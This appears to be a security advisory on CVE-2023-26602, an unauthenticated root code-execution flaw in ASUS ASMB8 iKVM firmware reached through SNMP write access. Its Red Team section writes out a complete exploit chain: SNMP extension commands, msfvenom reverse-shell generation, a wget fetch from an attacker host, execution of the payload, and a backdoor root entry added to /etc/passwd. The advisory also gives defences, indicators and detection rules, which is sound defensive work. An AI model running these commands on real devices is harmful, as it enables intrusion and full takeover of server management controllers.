CVE-2023-26602

Executive Summary

CVE-2023-26602 is a critical vulnerability in the ASUS ASMB8 iKVM (Keyboard, Video, Mouse) remote management firmware, affecting versions up to and including 1.14.51. The flaw allows an unauthenticated, remote attacker to execute arbitrary code with root privileges by abusing SNMPv2 write access to the private community string. By leveraging the NET-SNMP-EXTEND-MIB, an attacker can create custom SNMP extensions that execute arbitrary shell commands. This vulnerability is particularly severe because it provides a direct path to full system compromise, including the ability to bypass SSH restrictions and establish persistent root access. The exploit is publicly available, and no official patch has been released by ASUS at the time of this analysis.

CVSS Breakdown & Threat Level

• CVSS Score: 10.0 (Critical)
• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): High (H)

The vulnerability is trivially exploitable over the network without authentication, leading to complete compromise of the affected device.

Deep Dive & Mechanics

The ASUS ASMB8 iKVM is a remote management controller used in ASUS server platforms. It runs a custom Linux-based firmware (AMI2CFDA1C7570E) with an embedded SNMP agent. The core issue is that SNMPv2 is enabled with a default or guessable "private" community string that grants write access. The SNMP agent supports the NET-SNMP-EXTEND-MIB, which is designed to allow administrators to define custom SNMP extensions that execute scripts or commands. However, due to insufficient access controls, an attacker can use snmpset to create a new extension that points to /bin/sh with arbitrary arguments. When the extension is triggered via snmpbulkwalk, the command is executed with root privileges.

The exploit chain is as follows:

1. SNMP Write Access: The attacker uses snmpset with the private community string to create a new extension in the NET-SNMP-EXTEND-MIB.
2. Command Execution: The extension is configured to run /bin/sh -c "[command]".
3. Trigger: The attacker uses snmpbulkwalk to query the extension, which triggers its execution.
4. Reverse Shell: The attacker can then download and execute a reverse shell binary (ARM little-endian) to gain interactive access.
5. Privilege Escalation: Once on the system, the attacker can modify /etc/passwd to add a new root user with a standard shell, bypassing the defshell restriction that prevents SSH login for the default sysadmin account.

Vulnerable vs. Patched Code

Vulnerable Code (ASUS ASMB8 iKVM firmware <= 1.14.51):

• SNMPv2 is enabled with a default "private" community string.
• The SNMP agent allows write access to the NET-SNMP-EXTEND-MIB without authentication or authorization checks.
• The defshell mechanism is implemented but can be bypassed by adding a new user with /bin/sh as the shell.

Patched Code:

• No official patch is available. A hypothetical fix would involve:
  • Disabling SNMP write access by default or requiring strong authentication.
  • Restricting the NET-SNMP-EXTEND-MIB to authenticated administrators only.
  • Implementing proper input validation and command sanitization.
  • Enforcing the defshell restriction for all users, including newly created ones.

Exploitation & Lab Setup

Red Team (Offensive)

The following steps demonstrate the full exploitation chain using the public exploit code.

Step 1: Create an SNMP extension to execute a command.

snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c private <TARGET_IP> 'nsExtendStatus."cmd"' = createAndGo 'nsExtendCommand."cmd"' = /bin/sh 'nsExtendArgs."cmd"' = '-c "id"'

Step 2: Trigger the extension to execute the command.

snmpbulkwalk -c public -v2c <TARGET_IP> NET-SNMP-EXTEND-MIB::nsExtendObjects

Step 3: Generate a reverse shell payload for ARM little-endian.

msfvenom -p linux/armle/shell_reverse_tcp LHOST=<ATTACKER_IP> LPORT=4444 -f elf -o rt.bin

Step 4: Transfer the payload to the target.

snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c private <TARGET_IP> 'nsExtendStatus."cmd"' = createAndGo 'nsExtendCommand."cmd"' = /bin/sh 'nsExtendArgs."cmd"' = '-c "wget -O /var/tmp/rt.bin http://<ATTACKER_IP>/rt.bin"'
snmpbulkwalk -c public -v2c <TARGET_IP> NET-SNMP-EXTEND-MIB::nsExtendObjects

Step 5: Execute the reverse shell.

snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c private <TARGET_IP> 'nsExtendStatus."cmd"' = createAndGo 'nsExtendCommand."cmd"' = /bin/sh 'nsExtendArgs."cmd"' = '-c "chmod +x /var/tmp/rt.bin && /var/tmp/rt.bin"'
snmpbulkwalk -c public -v2c <TARGET_IP> NET-SNMP-EXTEND-MIB::nsExtendObjects

Step 6: On the reverse shell, add a new root user.

echo 'd1g:OmE2EUpLJafIk:0:0:root:/root:/bin/sh' >> /etc/passwd

Step 7: SSH into the device as the new user.

sshpass -p xxxx ssh -oHostKeyAlgorithms=+ssh-dss d1g@<TARGET_IP>

Blue Team (Defensive)

1. Network Segmentation: Isolate iKVM management interfaces on a dedicated management VLAN with strict access controls.
2. Disable SNMP: If SNMP is not required, disable it entirely on the ASMB8 device.
3. Change Community Strings: If SNMP is necessary, change the default "public" and "private" community strings to strong, unique values.
4. Restrict SNMP Access: Use firewall rules to allow SNMP traffic only from trusted management hosts.
5. Monitor SNMP Activity: Log and alert on any use of snmpset or snmpbulkwalk against the NET-SNMP-EXTEND-MIB.
6. Firmware Updates: Monitor ASUS for a firmware patch and apply it as soon as it becomes available.
7. Harden SSH: Disable SSH access to the iKVM if not needed, or restrict it to specific users and IP addresses.

Indicators of Compromise (IOCs)

• Network IOCs:

  • SNMP traffic to/from the ASMB8 device using community strings "public" or "private".
  • SNMP SET requests targeting OIDs under NET-SNMP-EXTEND-MIB (e.g., nsExtendStatus, nsExtendCommand, nsExtendArgs).
  • Outbound connections from the ASMB8 device to unknown IP addresses on port 4444 (or other high ports).
  • HTTP requests from the ASMB8 device to download files (e.g., wget to an attacker-controlled server).

• Host IOCs:

  • Unauthorized files in /var/tmp/ (e.g., rt.bin).
  • New entries in /etc/passwd with UID 0 (root) and a shell other than /usr/bin/defshell.
  • Processes running from /var/tmp/ or other unusual locations.
  • SNMP extension entries in the running configuration (check via snmpwalk).

• Log IOCs:

  • SNMP authentication failures (if logging is enabled).
  • SSH login attempts from unknown users.
  • System log entries showing unexpected command execution.

Detection Engineering

YARA Rule

rule CVE_2023_26602_ASUS_ASMB8_RCE {
    meta:
        description = "Detects exploit attempts for CVE-2023-26602 via SNMP extension creation"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-26602"
    strings:
        $snmpset1 = "nsExtendStatus" ascii wide nocase
        $snmpset2 = "nsExtendCommand" ascii wide nocase
        $snmpset3 = "nsExtendArgs" ascii wide nocase
        $shell = "/bin/sh" ascii wide nocase
        $wget = "wget" ascii wide nocase
        $chmod = "chmod" ascii wide nocase
    condition:
        any of ($snmpset*) and ($shell or $wget or $chmod)
}

Sigma Rule

title: SNMP Extension Creation for CVE-2023-26602
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SNMP SET requests that create extensions in NET-SNMP-EXTEND-MIB, indicating exploitation of CVE-2023-26602
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-26602
logsource:
    category: network
    product: snmp
detection:
    selection:
        snmp_version: "2c"
        snmp_community: "private"
        snmp_operation: "SET"
        snmp_oid|contains: "nsExtendStatus"
    condition: selection
falsepositives:
    - Legitimate administrative use of SNMP extensions
level: high
tags:
    - attack.t1190
    - cve.2023.26602

Suricata Rule

alert udp $EXTERNAL_NET any -> $HOME_NET 161 (msg:"CVE-2023-26602 ASUS ASMB8 SNMP Extension RCE Attempt"; content:"|30|"; depth:1; content:"|04|"; distance:0; within:1; content:"private"; nocase; distance:0; within:7; content:"|a0|"; distance:0; within:1; content:"nsExtendStatus"; nocase; distance:0; within:13; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Disable SNMPv2 write access on all ASUS ASMB8 devices. If SNMP is required, use SNMPv3 with strong authentication and encryption.
2. Network Controls: Place iKVM interfaces on a separate management network with strict firewall rules. Block SNMP (UDP 161) from untrusted networks.
3. Firmware Update: Contact ASUS support for a firmware patch. As of this report, no official patch is available. Consider replacing the device if a patch is not forthcoming.
4. Monitoring: Implement the detection rules provided above to identify exploitation attempts.
5. Incident Response: If compromise is suspected, isolate the device, collect forensic evidence (logs, SNMP configuration, filesystem), and rebuild from a known good state.

Valters IT
DevSecOps & Cyber Threat Intelligence

{/* [Security Hash: 0089FC367316B162F86F06C1] */}